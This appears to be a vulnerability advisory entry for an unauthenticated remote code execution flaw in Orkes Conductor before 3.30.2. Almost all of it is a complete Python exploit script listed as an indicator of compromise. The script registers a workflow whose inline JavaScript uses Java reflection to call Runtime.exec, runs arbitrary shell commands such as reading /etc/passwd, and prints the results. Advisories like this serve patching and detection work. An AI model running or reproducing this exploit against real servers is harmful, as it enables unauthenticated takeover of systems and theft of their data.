Orkes Conductor versions before 3.30.2 contain a critical unauthenticated remote code execution vulnerability. Attackers can submit malicious inline workflow definitions with JavaScript or Python expressions to the workflow API endpoint without authentication. This exploits unsandboxed GraalVM evaluators with permissive host access, enabling arbitrary OS command execution via Java reflection or subprocess calls.

AI Analysis

Indicators of Compromise

• exploit-code: #!/usr/bin/env python3 # Exploit Title: OrkesConductor 3.30.2 - Unauthenticated Remote Code Execution # CVE: CVE-2026-58138 # Date: 2026-07-10 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Author Blog : https://banyamersecurity.com/blog/ # Vendor Homepage: https://orkes.io/ # Software Link: https://github.com/conductor-oss/conductor # Affected: Orkes Conductor / Conductor OSS 3.21.21 < 3.30.2 # Tested on: conductoross/conductor:3.22.3 # Category: Remote Code Execution # Platform: Linux # Exploit Type: Unauthenticated RCE # CVSS: 9.8 # Description: Unauthenticated remote code execution by submitting malicious INLINE JavaScript tasks that abuse unsandboxed GraalVM HostAccess.ALL for Java reflection and Runtime.exec. # Fixed in: 3.30.2 # Usage: # python3 exploit.py <target> [-c CMD] # # Examples: # python3 exploit.py http://127.0.0.1:8080 # python3 exploit.py http://target:8080 -c "whoami; id; cat /etc/passwd" # # Options: # target Conductor API base URL (e.g. http://127.0.0.1:8080) # -c, --cmd Command to execute (default: id; hostname) # # Notes: # • Requires no authentication (default community API behavior). # • Runs as the Conductor process user (often root in Docker). # • Pure Python stdlib - no extra dependencies. import argparse import json import sys import time import urllib.request def banner(): print(r""" ╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗ ║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║ ║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╔═╗ Banyamer Security ╔═╗ """) def js_rce(cmd): c = cmd.replace("\\", "\\\\").replace("'", "\\'") return ( "var k=$.getClass().getClass();" "var S=k.getMethod('getName').getReturnType();" "var forName=k.getMethod('forName',S);" "var L=function(n){return forName.invoke(null,[n]);};" "var RT=L('java.lang.Runtime');" "var rt=RT.getMethod('getRuntime').invoke(null,[]);" "var I=L('java.lang.Integer').getField('TYPE').get(null);" "var A=L('java.lang.reflect.Array');" "var arr=A.getMethod('newInstance',k,I).invoke(null,[S,3]);" "var set=A.getMethod('set',L('java.lang.Object'),I,L('java.lang.Object'));" f"set.invoke(null,[arr,0,'sh']);set.invoke(null,[arr,1,'-c']);set.invoke(null,[arr,2,'{c}']);" "var p=RT.getMethod('exec',arr.getClass()).invoke(rt,[arr]);p.waitFor();" "var isr=L('java.io.InputStreamReader').getConstructor(L('java.io.InputStream')).newInstance(p.getInputStream());" "var br=L('java.io.BufferedReader').getConstructor(L('java.io.Reader')).newInstance(isr);" "var o='',l;while((l=br.readLine())!==null)o+=l+'\\n';o" ) def call(base, path, data=None, method=None): url = base.rstrip("/") + path body = json.dumps(data).encode() if data is not None else None req = urllib.request.Request( url, data=body, method=method or ("POST" if data is not None else "GET"), headers={"Content-Type": "application/json", "Accept": "application/json,text/plain,*/*"} ) with urllib.request.urlopen(req, timeout=30) as r: raw = r.read().decode() try: return r.status, json.loads(raw) except Exception: return r.status, raw def main(): banner() ap = argparse.ArgumentParser(description="CVE-2026-58138 Conductor unauth RCE") ap.add_argument("target", help="Conductor API base, e.g. http://127.0.0.1:8080") ap.add_argument("-c", "--cmd", default="id; hostname", help="command to run on the Conductor host") args = ap.parse_args() wf = "pwn_" + str(int(time.time())) wfdef = { "name": wf, "version": 1, "schemaVersion": 2, "ownerEmail": "[email protected]", "tasks": [{ "name": "pwn", "taskReferenceName": "pwn", "type": "INLINE", "inputParameters": {"evaluatorType": "javascript", "expression": js_rce(args.cmd)}, }], } print(f"[*] Target: {args.target} cmd={args.cmd!r}") print("[*] Registering workflow with malicious INLINE task ... (no auth)") call(args.target, "/api/metadata/workflow", wfdef) st, wid = call(args.target, f"/api/workflow/{wf}", {}) wid = wid if isinstance(wid, str) else str(wid) print(f"[*] Started workflow id={wid}; fetching output ...") time.sleep(2) st, info = call(args.target, f"/api/workflow/{wid}?includeTasks=true") out = None for t in (info.get("tasks") or []): if t.get("taskType") == "INLINE": out = (t.get("outputData") or {}).get("result") if out: print("\n[+] RCE SUCCESS - Command output:") print(str(out).strip()) else: print("[!] No output captured. Workflow status:", info.get("status")) if __name__ == "__main__": sys.exit(main() or 0)